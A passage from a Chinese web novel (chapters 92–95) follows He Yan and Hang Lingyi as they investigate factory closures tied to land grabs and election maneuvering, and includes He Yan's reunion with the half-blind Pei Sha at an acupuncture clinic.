杭凌一趁机拐上一条隐蔽的岔路,最终甩开了他们。 车内一片寂静,只有两人急促的喘息声。 杭凌一突然一拳砸在方向盘上,淡金色的瞳孔凝出寒霜:“打草惊蛇了。” 贺衍眉头紧锁:“至少确认了,他们就是在制炸药。” 杭凌一看着他血迹斑斑的手臂,拿出应急包,强硬地拉过贺衍的手,替他擦拭血迹。 “这伤不算什么。” 贺衍想抽回手,却被握得更紧。 “别动。”杭凌一的声音低沉,带着不容抗拒的力道,杭凌一拿出棉签消毒。 贺衍无声抿唇,唇瓣被他抿得发白。 血迹被擦走,淡金色的眸子却更暗了,他发现贺衍的手臂那里有两道很淡的疤痕,突兀地出现在他的手臂上。 “你之前受过伤?”杭凌一将他的手臂包扎起来,沉声问道:“看起来像是刀伤。” 贺衍含糊地嗯了一声:“很久了。” 杭凌一沉默地把没用完的绷带和消毒的药收了起来。 他抬眸看了眼贺衍,忽然低低地说了声:“抱歉,如果不是我带你出来,你本来不会遇到这种事的。” 贺衍轻啧的一声:“抱歉什么,这又不是什么大事。” 他看了眼依旧沉浸在自己思绪里的杭凌一,拍了他一下:“别想那些有的没的了,你说今天化肥厂那些人,他们的身份会是什么,雇佣他们的又会是什么人。” “我会查清楚的。” 他只说了这一句话,随后便发动了汽车。 两个人回到铜海的时候,已经是傍晚了。 天色渐暗,暮色四合。 杭凌一的车缓缓停在红灯前:“今天那些人虽然没能看到我们的长相,但不排除他们会通过车牌号找到我的信息。贺衍,这段时间你先别来法院了。” “那接下来打算怎么办?”贺衍托着下巴望着已经步入夜色的铜海,繁华的中央大街上,车流如织,尾灯在渐暗的天色中连成一片流动的星河。 “我父亲是联邦法院的大法官,我会亲自找他问一问,”杭凌一敛眸,“这件事应该不会太简单。” 铜海大学西门。 杭凌一熄火。 “本来今天是你的生日,结果还让你受伤了。” 他从后备厢取出了蛋糕盒。蛋糕盒放在冰鲜箱里,但因为过于颠簸,奶油已经糊成了一团。 “本来准备了惊喜。”他苦笑着扯了扯衣领。 贺衍拿起勺子吃了几口:“这有什么,味道又没变。谢谢你的生日礼物。” 夜色落幕,街灯亮起。 杭凌一的心脏莫名颤了一下,淡金色的瞳孔注视着眼前的人,忽然愣在了原地。 贺衍递了一块给杭凌一:“你发什么呆,喏,你的。” 杭凌一意识到自己看他有点失神,清了清嗓子,接过了蛋糕,心脏却在瞬间开始扑通扑通狂跳。 两人又聊了一会儿。 杭凌一站在原地,目送贺衍走进学校大门。 手机却忽然震动了一下,他点开手机,屏幕上是父亲发来的消息:[这个案子,你别再查了] 贺衍走到宿舍楼下。 星河湾一号楼。 天色已经黑了下去,只有宿舍门前只有左右两盏路灯,周围的两侧都很暗,也没多少人从宿舍楼前经过。 一个穿着黑色风衣的男人站在阴影处,看不清他的面容。 贺衍正准备迈上宿舍大楼的台阶,熟悉的声音让他的脚步骤然顿住了。 “阿衍。”鄢忬从暗处走了出来,恰巧这时有几个人正从寝室楼里出来。 贺衍皱了下眉,他抿了下唇,拉着鄢忬的袖子就往暗处走。 周围没人后,贺衍松开了手,却被鄢忬反手握住了手腕:“你这里,怎么受伤了。” 贺衍不自在地抿了下唇,甩开了他的手:“小伤。” “阿衍,最近岑靳有出现过吗?” “没有。”贺衍后退了一步,拉开了两人的距离。 鄢忬平静地看着贺衍,墨绿色的眼眸在昏暗的光线下愈发幽深,他往前迈了一步:“你借我赶走岑靳,难道不给我报酬吗?” “你要什么报酬,”贺衍的表情也彻底沉了下来,“你也不会缺人陪睡,没必要强迫我。” 鄢忬顿时有些无奈,他看着贺衍,像是一个无理取闹的孩子,他摇了摇头:“阿衍,我不需要其他人。” 贺衍冷下脸,直白地说道,丝毫不留情面:“那就没得谈了,我不会再接受你的‘治疗’。” “岑靳现在被岑德越看得很严,他不会来骚扰你。”鄢忬无奈地笑了下,他换了话题,“不过,你最好不要和杭凌一掺和在一起。” “叔叔,我的交友你也要管?”贺衍眉梢一挑,嗤笑一声,他的神色愈发不耐,直接转身离开了。 鄢忬没有再阻拦他。 “阿衍,生日快乐。” 他的声音很轻,轻到瞬间就被风吹散。 十一月的雨下得绵长而阴冷,明明温度也不低,但空气里的潮冷几乎要渗进骨髓。 黄弘资正在和女朋友煲电话粥,声音里的甜蜜都在空气里都快拉丝了。 “放心,我当然会和你一起去看的,我也很喜欢行水啦。嗯嗯,他得了最佳新人奖,我也超级为他开心——” 黄弘资说完这些讨好女朋友的话,忽然后知后觉地闭上了嘴,woc,行水和贺衍关系不好,他刚才不应该说得那么大声的。 他偷偷瞥了眼贺衍,没想到刚好被贺衍抓包了。 黄弘资尴尬地笑了笑,压低了声音继续打电话。 贺衍不感兴趣地收回视线,已经过去一个多月了,手臂上的伤已经彻底愈合了。但杭凌一到现在还没回铜海,也不知道化肥厂那件事他查得怎么样。 贺衍划开手机锁屏时,本来是想点开微讯,但不小心点到了旁边的软件。 软件推送的视频瞬间映入眼帘:[双喜临门,行水生日当天荣获联邦最佳新人奖] 视频自动播放,聚光灯下,画面里的卷发男人站在领奖台上。 他抚摸着奖杯,唇角扬起:“……因为只有这样,我才能被他一直看见,才不会被他遗忘。” 贺衍面无表情地叉掉软件,给杭凌一打了个电话,但电话没人接,大概过了几分钟。 他收到了杭凌一的一条消息:[最近有些事,不方便联系,过段时间我再联系你。] 但十几天过后,已经到了十二月,杭凌一依旧没有联系。 贺衍亲自去了一趟法院,却从那些法院公职人员的口中,得到了杭凌一今天上午递交了辞职信的消息。 贺衍疑惑不解,他再次拨打了杭凌一的电话。 这次,电话终于接通了。 第93章 第 93 章 重逢 第93章 昏暗的书房内, 杭凌一坐在书桌前,银发在脑后束成一束,在台灯下泛着冷冽的光。 他接通了贺衍的电话, 淡金的眸色暖了些许:“嗯, 我今天才回铜海。这件事电话里说不清楚。” 贺衍眉头皱起来,是说不清楚, 还是不方便说。 十二月,周三。 天已经开始陆陆续续下起了小雪,地面已经覆上了一层白。 因为临近期末,几乎没有学生会缺课。黄弘资也是如此,上午上完最后一节的经济学原理后, 黄弘资就去了图书馆复习。 黄弘资哈了口冷气, 走进宿舍楼大门的时候, 刚好看到贺衍急匆匆地赶出去。 今天上午的经济学原理,鄢老师点名了,点到了贺衍。他帮忙答道了, 鄢老师似乎看出了他不是本人,但并没有说什么。贺衍好像也就前几周去上过这节课, 后面就没有去过了。 一个半小时后,贺衍出现在了杭凌一的公寓门前。 他按响门铃, 杭凌一打开了门。 两人的视线在空中交汇。 贺衍的发梢上缀着零星的还未融化的雪花, 鼻尖冻得有些红, 但眉眼却比外面的寒意还要锋利, 直直地落在了杭凌一身上。 “那个工厂后面到底牵扯到了什么,到底发生了什么事?” 他把毛巾扔到了贺衍头上:“擦一下,别感冒了。” 杭凌一打开了书房的大门。 “联邦的法律体系已经彻底腐烂了,从上到下, 都烂透了。”他的声音很淡,仿佛在陈述一个再普通不过的案件事实。 书桌摊开的文件上显示着近几年被突然关停的各州的工厂,它们大多位于偏远地区,规模不算特别大不大,但其中大多都经营良好。 “我顺着启鸿化肥厂的线索,查了另外两家工厂。但在仅仅过了一天,这三家工厂就立刻拥有了合格的经营资格,甚至可以从网上找到几个月前的备案。不管是程序还是合法性,都完全符合联邦的法律要求。” “这件事我还在查,但目前进展不大。”杭凌一揉了揉眉心:“而且,我们当初只聚焦了一个方面。但剩下的这些工厂,问题也很多。” 除去当初重点关注的那三家,剩下大部分工厂几乎都在短短几个月内经历了被强制拆迁,随后土地被收购,紧接着这些土地就被联邦规划为“重点开发项目”,而背后的资本方则获得了巨额补偿。 “关停程序全部有问题。”杭凌一揉了揉眉心,“吊销执照,低价收购,高价索赔,每一步都完美地踩在法律的红线内。” 贺衍沉默了片刻,他抬起眼:“这些工厂,一半以上都选择上诉,但都没有任何结果。” 杭凌一眸色晦暗,他扯了下嘴角:“上诉怎么可能有用。” 杭凌一冷笑一声:“我查了两个月,但所有线索都在最高法院被截断了。连我父亲——” 他顿了顿,指节微微发白:“都亲自下令压下了相关上诉。” 窗外的小雪逐渐变大,窗沿边上堆积了一层厚厚积雪。 杭凌一的声音却依旧冷静:“内部已经无药可救了。” 他站起身,从抽屉里取出一张机票。 贺衍看到了机票的目的地。 “你要去亚纽州?”他开口问道,声音比想象中哑。 “亚纽州有一家工厂是今年十月才被关停的,案卷还压在州法院。贺衍,我之前告诉过你的,我讨厌现在这种腐朽的制度。” “我会从那里开始。”他轻声道,“从外部击垮,这是目前我能想到的唯一方法。” 从古至今,改革都不是一件小事,成则开新局,败则生动荡,从来都不是轻飘飘一句话的事情。 联邦的制度溃烂,不是一个人的责任。 贺衍语气冷静:“你的父亲也在局中,这不是一件小事,也不是你一个人就能做到的事。” 杭凌一却忽然唇角弯了弯:“我知道,但我还是想试试。” “别死了。”贺衍转身走向门口,声音轻得几乎听不见。 十二月的寒风卷着细雪,铜海大学的寒假正式开始。 林医师今天没来,针灸馆里工作的就只有苏医师一个人。 如果不出意外,这大概是贺衍最后一次来这个针灸馆。 贺衍推开针灸馆的门时,门外的铜铃发出了声响。 “热敷二十分钟后再开始针灸。”苏医师对青年轻声嘱咐,转头看向刚走进来的贺衍,对着他笑了笑,“昨天关店了一天,昨天的那位客人的治疗移到今天了。我先生他今天又没来,得先给这位客人做。小贺,你可以等一个小时吗?” 他今天本就比平日来早了一点,贺衍点点头,坐在椅子上,虚无地盯着一个点发呆。 但不知怎的,目光却不受控制地落在了坐在诊疗椅的黑发青年身上。 他坐得极稳,脊背绷成一道冷硬的弧,椅子仿佛只是虚设。 他背对着自己,头上戴着热敷的药熏眼罩,明明看不清脸,但贺衍却莫名熟悉。 贺衍眉头微蹙,但并未多想。 苏医师走到那个戴着眼罩青年身边,轻声问道:“小裴,现在感觉怎么样?” 最开始来就诊的时候,这个孩子的左眼已经完全失明了,但好在右眼并不严重,可以正常视物。 “还可以。” 贺衍站起来,正准备为自己倒杯水。 听到这个冷冽平淡的声音,他的瞳孔骤然收缩,整个人瞬间僵在了原地。他的双脚像是被钉死了一般,半点也迈不开步子。 他之前常听到苏医师和林医师说,有个和自己年龄差不大的病人,眼睛有问题。 但他从来没想过这个人会是裴屷。 苏医师看到站在那里一动不动面无表情的贺衍,还以为他等得有点不耐烦了。 “小贺,你别着急,马上就到你了,再有半小时。” 但贺衍依旧一动不动,像是什么都没有听见一样。 苏医师奇怪地抿了下唇,不对啊,贺衍这孩子也不像是会因为这件事生气的人啊。不会是身体又不舒服了吧。 苏医师快步走到贺衍身边,拍了拍他的肩膀:“小贺,贺衍,你没事吧?” 眼罩被猛地扯下,他朝着声源转过头,裴屷睫毛颤了下。 贺衍还活着啊。 那一刻世界陡然失声,暖意却从心里空荡荡的角落蔓延。 裴屷短暂地抿了下唇,却没发出声音。 原来他还活着,真好。 裴屷是在媒体的报道上看到了贺衍的死讯。 那时候他已经和贺衍失联一个多月了,但那时候他只以为,是贺衍拉黑了自己。 [贺氏集团亲生子确认死于意外,追悼会将于一周后举行] 贺衍死了?裴屷的耳边嗡嗡作响,像是整个世界突然被按下了静音键。 他参加了那场追悼会。 参加追悼会的人很多,淮新的各界名流几乎都去了。 但裴屷对那时发生的事情已经没有太多印象了,他甚至记不清他是怎么从贺家回去的了。 可贺衍死了,他总得知道为什么,而不是被贺忠载一句虚情假意的意外身亡打发走。 他动用了关系,找到了一段模糊的监控录像。 贺衍站在贺家书房,而贺父的脸色阴沉得可怕。 裴屷盯着屏幕,指节捏得发白。 贺家不会无辜。 针灸馆的窗户被风吹开一条缝,苏医师走过去关紧窗户:“下雪了啊……” “裴屷,”贺衍的声音干涩得不像自己,“你的眼睛看不见了吗?” 裴屷的左眼在灯光下呈现出不自然的浅青色,瞳孔涣散没有焦点。 “我只是左眼出了问题,右眼正常。” 他的声音平淡,仿佛这是一件很小的事情。 苏医师眼角的细纹都溢出惊讶:“你们两个认识啊?” 苏医师眨巴了几下眼,看了看贺衍,又看了看裴屷,识趣地退了出去,轻轻带上门。 裴屷的声音平静,目光轻轻地落在了贺衍的脸上:“你还活着。” “针灸有效吗?” 两人几乎同时出声。 第94章 第 94 章 台明市 第94章 裴屷垂下眼睫, 嘴角却浮起一丝极淡的笑意:“有效。” 贺衍盯着他仿佛蒙上雾般的左眼,喉咙发紧:“什么时候的事?” “有天早上醒来,发现左边视野全黑了, 很早之前就有这征兆了。” 裴屷声音平静, 但他并没有说具体的时间。 针灸馆里的草药味突然变得刺鼻。 贺衍忽然想起他们最后一次见面时,裴屷的眼睛已经比最开始见面的时候颜色要浅了, 但依旧能看出清透的深绿色。 可现在那只眼睛像是蒙了层雾的浅青色的玻璃珠。 窗外雪落无声。 裴屷突然问:“你的身体都好了吗?” 他也听两位医师说过,周日来看病的那个青年的情况。 贺衍下意识地抿了下唇:“嗯,已经差不多了。” “挺好。”裴屷点点头。 裴屷没再多说什么,他没有问贺衍为什么活着但是不联系自己,也没有问贺衍为什么出现在了铜海。 贺衍看着他走到了针灸馆的里屋, 敲了敲苏医师的房门。 裴屷好像已经放下以前的事了, 这样也挺好。 治疗的过程安静。 最后一根针取下时, 裴屷坐起身整理衣领。 两句简短的告别后,他便推开了针灸馆的门离开了。 仿佛只是不熟的人偶遇一样。 针灸馆外,裴屷打开车门, 车很快就驶离了这里。 贺衍收回视线,发现苏医师正站在那里静静地看着他。 她的目光慈爱而温和, 贺衍下颌紧绷,面无表情, 但下意识地攥紧了手指。 “那孩子的眼睛, 有治愈的希望, 但需要时间。” 黄弘资早在几天前考完最后一门考试后, 就迫不及待地回家了。 今天已经是寒假开始的第三天,距离宿舍封楼还有最后一天,现在还待在学校里的,也就零星几个学生。 但贺衍到现在还没有收拾回家的行李。 不管是罗河县也好津兴市也罢, 自从奶奶去世后,哪里都不是家了。 贺衍的目光忽然扫过桌面,笔记本的充电线凌乱地放在桌角。 贺衍轻啧了一声,桌面怎么又乱了,他放下手机,重新整理了一遍桌面。 顺带着,又把寝室的柜子整理了一遍。 几个月前收到的三个礼物盒,贺衍依旧没有打开。 但他刚把那个墨绿色的缎面长方盒塞进去,还没来及关上柜子,盒子就重重摔在地面上,那根精心系好的银丝带不知怎么得自行滑开了。 盒盖移开了一个小缝,一封信从里面掉了出来。 贺衍蹙了下眉,捡起了那封信,信的封面上还有铜海法院的火漆印。 这是一封法官推荐信。 他索性把盒盖拿开,里面是折叠整齐的深灰色西装,领口里还夹着一个卡片,上面有一行钢笔字:[阿衍,生日快乐。] 如果他和鄢忬没有发生后来的那些事,或许他也没有现在的纠结了。 贺衍面无表情,他把所有东西原封不动地放到盒子里,再次锁上了柜子。 窗外的雪花飘落,冷意顺着窗户缝隙飘进室内。 贺衍走到阳台。 放在口袋里的手机忽然震动了一下,杭凌一的消息忽然弹了出来:[目前的举证工作已经完成了,下周是一审。] 也不知道杭凌一过年回家不会。 他放假前就和杭凌一说过打算去那里找他,可都被杭凌一以太危险的名义拒绝了。 一成不变的日子固然安稳,但他骨子里可能就不是什么太安分的人。 他在这个世界上本来也没几个留恋的人,实话实说,他现在对死亡并没有太大恐惧。 有时候,脑子里还出现过某些荒唐的念头,说不定这里的一切都只是梦,或许梦醒之后,他还是华国的律师。 贺衍被自己的想法逗笑了,他扯了扯嘴角,终于按下通话键。 电话接通前的等待音在安静的房间里格外清晰,就在贺衍以为对面不会有人接听时,听筒里却传来了纸张翻动的沙沙声。 “喂?”杭凌一的声音比记忆中低沉了几分,尾音还带着轻微的疲惫。 贺衍也没想着掩盖自己的目的,直接就问道:“你过年打算在那里过了吗,还回家吗?” 电话那头停顿了几秒。 杭凌一似乎将手机拿远了些,贺衍隐约听见他轻咳了一声,然后是玻璃杯放在桌面上的轻响。 贺衍眉头微蹙,杭凌一生病了? “案子还没结束。”杭凌一的声音恢复了往日的冷静,但语速比平时慢了些,“不回去。” “那我去找你。” “不用。” 杭凌一的拒绝不假思索,像是条件反射一样。电话那头传来椅子挪动的声响,他似乎站了起来。 “这里的事情比你想象得复杂。” 贺衍挑了下眉,突然笑了:“所以呢?你觉得我会怕?” 电话那头突然安静下来。 贺衍能听见杭凌一平稳的呼吸声,然后是一声几不可闻的叹息。 “贺衍,你知道我不是这个意思。” 窗外的雪下得更大了,雪花拍打在玻璃上发出细微的声响。 “那是什么意思?”贺衍故意装作听不懂地问道。 他眉梢微挑,抬手顺便把没关紧的窗户关上了。 杭凌一又沉默了,大概过了一会儿,他才出声说道:“这里很危险,一直有人在盯着我。” 贺衍猛地攥着手机:“那就更该让我去,两个人的力量总比一个人大。” 杭凌一的声音突然严厉起来:“你没必要来蹚这趟浑水。” 贺衍很少听到杭凌一的这种语气,但他并没有因此让步:“半年前你邀请我加入你的话,现在还算数吗?” 亚纽州,台明市。 杭凌一站在窗前,淡金色的眸中映着窗外的灯火,他的指尖无意识地摩挲着手机边缘,喉结上下滚动却说不出一句完整的话。 [……与其修修补补,不如推翻重建。贺衍,你要和我一起吗?] 他当然记得这句话,只是,杭凌一无声地叹了口气。 “随你吧,买完票告诉我时间,我到时候去接你。” 杭凌一右手弹开打火机,点燃了一支烟。 通话结束的忙音响起。 贺衍眯了下眼,开始收拾行李了。 第二天上午,雪下得更大了。 但如果天气预报准的话,再过几个小时雪就会停,不会影响飞机正常起飞。 贺衍买的是下午的机票。 他拉着行李,在宿管室报备离校之后,走出了宿舍楼。 鄢忬站在宿舍楼前的台阶上,黑色羊绒大衣的肩头已经落了一层薄雪,却也衬得他身形愈发挺拔冷峻。 他望着贺衍,墨绿的眸中目光深沉而复杂。 贺衍避开了他的目光,继续朝外面走去,行李箱的滚轮在积雪上碾出了两道深深的痕迹。 “阿衍,”鄢忬的声音低沉醇厚,带着不容抗拒的威严,“把行李放下。” 贺衍扯了扯嘴角,他转过身,雪花落在了他浓密的睫毛上。 鄢忬的视线从他眼角的泪痣移开,微微下移,贺衍的围巾松了,露出一截修长的脖颈。 “鄢老师这是要以权压人?”贺衍勾起嘴角,眼底却不见任何笑意,“我记得现在是寒假,学生有离校的自由。” 鄢忬望着他,缓步走下台阶。他比贺衍高出小半个头,此刻微微低头看人的姿态带着天然的压迫感。 “阿衍,别去台明。”他的声音放轻了些,修长的手指从大衣口袋里抽出来,下意识想要去整理贺衍被风吹乱的围巾,却在半空中停住了。 贺衍后退半步,避开了他若有似无的触碰。 鄢忬的手在空中僵了一瞬,慢慢收回。 他的眼睛暗了暗,喉结滚动了一下:“阿衍,你就这么在乎杭凌一?” “他是我朋友。” 鄢忬用力攥了攥手,压下心底的起伏,他动了动唇,略带着几分自嘲地笑了笑。 雪花落在两人之间的空地上。 “让开。”贺衍抬眸看了他一眼,带着不容置疑的坚决。 鄢忬突然伸手扣住他的手腕,力道大得惊人。 他盯着贺衍的眼睛,声音有些沙哑:“如果我强迫你留下来呢?” 贺衍冷笑一声,猛地甩开他的手:“你可以试试。” 鄢忬的喉咙里像是堵了什么东西一样难受又刺痛。 “你知道我不会。”他低声说,“阿衍,别任性。” 贺衍不想听他说话,转身往学校大门的方向走去。 鄢忬看着他挺直的背影,突然大步追上去,一把将人拽进怀里。他的手臂像铁箍一样紧紧环住贺衍的肩膀,下巴抵在对方发顶。 “阿衍,别去了,我们一起回家好不好。”他在贺衍耳边低语,温热的呼吸拂过冰凉的耳廓。 鄢忬的声音很轻,语气却带着几分恳求。 贺衍愣住了。 这个拥抱来得突然,他已经很久没有和鄢忬这么亲密过了。 但下一秒,贺衍就用力推开了他。 他的唇瓣抿成一条直线,步子迈得更大了,很快就消失在了视野之中。 鄢忬站在原地,眸色晦暗,心脏正不受控制的抽痛。 他对阴影处低声吩咐:“跟在他身边保护他,别让他发现。” 几个人点了点头,悄无声息地消失。 台明的天气比铜海要冷,雪像细密的针尖刺在脸上。 贺衍拖着行李箱走出机场通道时,呼出的白气在眼前凝结成雾。 几乎在贺衍出现的第一秒,杭凌一就发现了他的身影,狭长的眸弯了弯,不自觉地挂上了笑。 贺衍眯起眼,在接机的人群中寻找那个熟悉的身影,在他看到那抹银发的瞬间,杭凌一的声音也随之出现在了耳畔。 “贺衍,这里。” 声音从右侧传来,贺衍转头,看见杭凌一靠在廊柱旁,银色的长发被束在身后,在机场的灯光下显得格外冷冽。 浅金色的眼眸望向贺衍的时候,眼底的冷意微微消散。 与电话里疲惫的声音不同,他看起来依然是之前那副从容不迫的模样,只是眼下有一圈淡淡的青影。 贺衍走向他,行李箱在光滑的地面上发出沉闷的滚动声。 杭凌一接过他的行李,冰凉的手指不经意擦过贺衍的手背。 “先去酒店,路上跟你解释案情。” 车里暖气开得很足,一坐进来,贺衍就热得脱掉了外套。 杭凌一并没有脱掉外套,他发动汽车。 汽车开动之后,杭凌一终于开口了。 “化工厂叫新亚化学,主要生产农业用肥。三个月前,他们的营业执照被突然吊销。随后的发展经过和启鸿化肥厂没有太多区别。” 贺衍侧头看他:“这次吊销的理由又是什么?” 杭凌一嘴角扯出一个讽刺的弧度:“因为距离厂区围墙不远,发现了一只死去的保护动物。” 贺衍蹙了下眉:“可这跟化工厂又有什么关系?” “理论上毫无关系。”杭凌一的手指在方向盘上敲击,“那只保护动物死亡的地点不在厂区范围内,尸检的结果显示的死因也是误食毒鼠,与化工厂的生产活动无关。但联邦的环保部门仍然以‘可能造成生态危害’为由把工厂的执照吊销了。” 窗外的雪景飞驰而过。 贺衍轻啧了一声,感到一阵荒谬:“这根本构不成吊销执照的理由。” “当然构不成。”杭凌一的声音冷了下来,“很显然这只是一个借口,真正的原因是有人看中了这块地皮,这里是台明新区规划中的核心位置。” 车停在红灯前,杭凌一转过头,浅金色的眸子直视贺衍:“贺衍,我其实并不想让你掺和进来。” 贺衍扯了扯唇角:“你现在再说这些话,是不是太晚了。” “从你邀请我去法院实习,再到我们一起去启鸿化肥厂。”他耸了下肩,眉梢挑了下,神色恣意不羁,“杭凌一,我们早就是一条船上的人了。” 贺衍勾起唇角,眼里闪过跃跃欲试:“我早就告诉过你,我不怕死。” 绿灯亮了起来,杭凌一笑出声,重新启动车子:“那还挺巧,我也不怕死。” “贺衍,上次我没有告诉你。其实这些被关停的工厂,还有另一个共同点,即使有些工厂地处偏僻,但它们都位于关键选区。” 贺衍感到一阵寒意爬上脊背,他敏锐地捕捉到了关键信息:“有人在为选举布局?” 杭凌一没有回答,但紧绷的下颌线已经说明了一切。 酒店房间的落地窗外,台明市的夜景在雪中模糊成一片光晕。 贺衍洗完澡出来的时候,杭凌一正站在窗前打电话,声音压得很低。 “……证据已经准备好了……不,父亲,我不会改变主意……” 听到贺衍的脚步声,杭凌一迅速结束了通话。 贺衍注意到他眉宇间闪过一丝疲惫。 杭凌一走向书桌,上面堆满了文件。 贺衍随意地擦着湿发,水珠顺着脖颈滑下,浴袍的腰带松松垮垮地系着,露出了大片肌肤,腰腹间的人鱼线若隐若现地没入白色布料之下。 杭凌一迅速别开视线,他甚至不清楚为什么会这么做,但又仿佛回到了那个晚上,心脏开始不受控制地跳动起来。 他的视线越过贺衍的肩膀,固执地停留在远处的某个虚无的点上,浅色的睫毛微微颤动。 “一周后开庭,我会作为原告律师出庭。”杭凌一的声音比平时低了几分,他转身走向书桌,刻意绕开了贺衍所在的位置。 “胜算多大?”贺衍没意识到他的视线,走近了几步。 杭凌一的喉结不自觉地滚动了一下,他的指尖无意识地摩挲着文件边缘,淡金色的眼眸中暗涌一闪而过。 杭凌一拿起一份文件递给他:“百分之百。” 第95章 第 95 章 贺忠载……死了?!!…… 第95章 贺衍翻开文件。 这是联邦最高法院只允许在内部传播的判例汇编, 首页用红笔圈出的案例,赫然是杭凌一父亲十年前主审的一起类似案件。 “法官不敢判我输。”杭凌一的声音平静得近乎冷酷,眼中锋芒闪烁, “他知道这个案子背后有猫腻, 他也知道我是谁。” 贺衍听出了他的言外之意,他微眯了下眼, 将文件放到了桌面上。那些被停工取缔的工厂,最早的发生在六年前,之后陆续每年都会有几起。 六年前裴行赫刚刚升任副总统。 难道这一切都是如今的总统在为自己造势。 自从裴行赫确认参加这一届的总统选举之后,民调率一直都在百分之六十以上,在去年大选的时候甚至达到了恐怖的百分之七十多。 但不可否认, 裴行赫上任的这一年时间, 的确为联邦做了很多实事。 教育改革已经初有成效, 预计明年联邦高考就会率先在特里州、亚纽州、略阿州三州开始试点。 试点地区的近百所高校将大幅调整招生政策,减少一半的免试录取的名额,这些缩减的名额将全部转入普通联邦高考招生计划, 预计将使三州通过统一联邦高考录取的学生人数增加约两万人。 “如果真是选举布局,”贺衍的声音很轻, 像是在自言自语,“那些工厂所在地, 都是后来裴行赫竞选时的关键选区。” 贺衍的目光扫过书桌上的一张地图, 上面标注着去年的各大选区。 贺衍的瞳孔忽然收缩, 他抬头看向杭凌一。 两人的视线在空中短暂相接。 杭凌一平静地说道:“你想得没错, 所有被迫关停的工厂,恰好都位于当年选举中态度摇摆的州市。” 一个可怕的念头忽然浮现在贺衍心底,这些工厂的关停不仅清除了裴行赫上台的政治障碍,更在民间制造了对前任政府的不满情绪。 这时候作为副总统的裴行赫又开始推动教育改革, 恰好给了民众新的希望。 贺衍盯着文件上的数据,眉头紧锁。 虽然所有线索都指向裴行赫,那些工厂关停的时间节点以及地理位置,都与他的政治轨迹高度吻合,最终裴行赫也确实登上了总统之位,但贺衍总觉得哪里不对劲。 太明显了,如果真是裴行赫所为,以他目前展现出来的政治智慧,不该留下这么多可追溯的痕迹。 更何况,那些被关停工厂的工人后来大多都成了裴行赫的坚定支持者,这一点也说不通。 想不通就不想了,反正他现在就是一个没权没势的普通人。想得再多,也没有太多用处。 贺衍把文件合上,他不经意地看了眼窗外,眸色忽然盯住了。 贺衍眯了下眼,他快步走到窗帘后面,目光微垂,落在了酒店对面的咖啡馆。 杭凌一顺着他的视线看去,窗外纷飞的雪花模糊了视线,但依旧能看出咖啡馆内坐着几个人。 咖啡馆的门前停着一辆很普通的银灰色私家车。 贺衍低声说道:“看到那辆车了吗?” “还有咖啡馆里穿灰色夹克的男人,在我去洗澡前,他就一直坐在那里,已经过去半个多小时了,他的姿势却几乎没有变化。” 贺衍眯起眼睛:“这些是监视你的人吗?” 淡金色的眸中闪过一丝冷意,跟着自己的那批人,在贺衍来之前他已经全部清理干净了。 杭凌一摇头:“这一拨人,他们不是冲着我来的。” “我对这辆车有印象。但在我从酒店出发的时候,这些人并没有出现,是离开机场才开始跟在我们身后。” 杭凌一停顿了一下:“贺衍,他们的目标或许不是我,而是你。” 贺衍脸色微沉,纷杂的大脑突然有了头绪,眼前忽然闪过一张脸。 他把毛巾从头上拿下来,眉梢压低,整个人散发着低气压:“稍等我一下,我去打个电话问问。” 贺衍的头发还没擦干。 淡金色的眸下意识落到了发梢,顺着那水滴从胸前滑落。 杭凌一抿唇,他找到了一条干燥的毛巾,扔到了贺衍头上:“就算屋里有暖气,但到底是冬天,你头发还湿着,先吹干穿上衣服再打吧,不急于这一时。” 屋内的暖气的确很足,贺衍即使只围了一条浴巾,也并不感觉冷。 可杭凌一却包裹得严严实实,只脱掉了大衣。 贺衍忽然问道:“你感冒了吗?昨天在电话里听到你在咳嗽。” 杭凌一眨了眨眼,淡金色的眼里闪过一丝错愕,但心底某个柔软的地方仿佛被轻轻碰了一下。 他摇了摇头。 那可能是自己听错了,杭凌一现在的声音也不像感冒的人。 贺衍点了点头,没再多问。他吹完头发,他拧着眉打通了鄢忬的电话。 一分钟后,贺衍挂断了电话,表情称不上好也称不上差。 “有结果吗,要我帮你甩掉他们吗?”杭凌一问。 贺衍语气平淡:“不用管他们了,是我一个‘长辈’派来的,保护我的。” 杭凌一若有所思地点头,目光再次扫过窗外。 “台明市最近不太平,你那个长辈考虑得很周到。” 杭凌一抿唇,浅金色的眸子里闪过一丝复杂的情绪:“上周有个调查记者在停车场被袭击,现在还在ICU。无论发生什么,别单独行动。” 夜色深重,两人各自回到房间休息。 杭凌一把浴室的门锁扣紧,将急救箱放到了洗手台上。他解开衣服,左臂动作明显滞涩。 绷带拆开后,狰狞的贯穿伤暴露。杭凌一面无表情地往伤口上倒了点消毒液,撒上药粉,咬住绷带一端重新绑上了绷带。 开庭那天,台明市地方法院审判庭外,法警正在一一审核入场人员的身份证明。 一个市级的地方法院,流程居然比之前他在铜海观摩的那些法庭还要严格。 贺衍若有所思地垂下了眼,拿出旁听证递给了法警。 法警对了下信息,拿出金属探测器在他身上探了一圈,确定没有任何违禁物品。 法警看了他一眼,用警棍示意他进去:“禁止录音录像。” 审判庭比想象中空旷。 座位呈阶梯状排列,前两排坐着几个穿制服的工作人员,正低声交换文件。 贺衍站在最上方的台阶俯瞰,最终选择了一个角落的位置,这里能够把整个法庭都尽收眼底。 右侧被告席上,是一个西装革履的男人,大腹便便,但一脸倨傲,满满的官僚风。 左侧原告席上,杭凌一正在整理证据册,他旁边坐着的应该就是新亚化学的厂长。贺衍见过他的资料和照片,刚刚四十出头,但现在苍老得像是五六十岁了。 杭凌一看到贺衍,唇角微微上扬了一个弧度,但很快又收回了视线。 “全体起立。” 审判长入席,看起来年龄有六十多岁。 如果不是贺衍一直看着这个审判长,也很难注意到他在看到杭凌一的时候表情微妙的变化。 法槌敲响,杭凌一起身。 “原告方主张,环保部门的处罚决定违反《联邦行政程序法》……” 在他说话的同时,投影仪上亮起了保护动物的尸检报告。 “根据最高法判例……”杭凌一引述时微微抬头,目光看向了坐在上方的审判长。 休庭铃响起,贺衍数了数进出审判庭的人数,十二名法警,比常规的要多三倍。 他在走廊拐角,百无聊赖地趴在窗沿,等待开庭。 忽然听到旁边一阵吵闹,杭凌一不知为何被几名记者围住了。 “杭律师,听说您父亲是最高法的大法官,这件案子的走向——” 贺衍眉心蹙起,法院怎么会允许媒体记者入内,这条走廊的尽头可是还贴着“禁止采访”标识。 这个记者明显不怀好意,其他记者都跟杭凌一保持着职业距离,唯独这人几乎要把录音笔戳进杭凌一嘴里,摆明是要激怒他。 他的问题带着明显的引导性,不论杭凌一如何回答,都有解释。 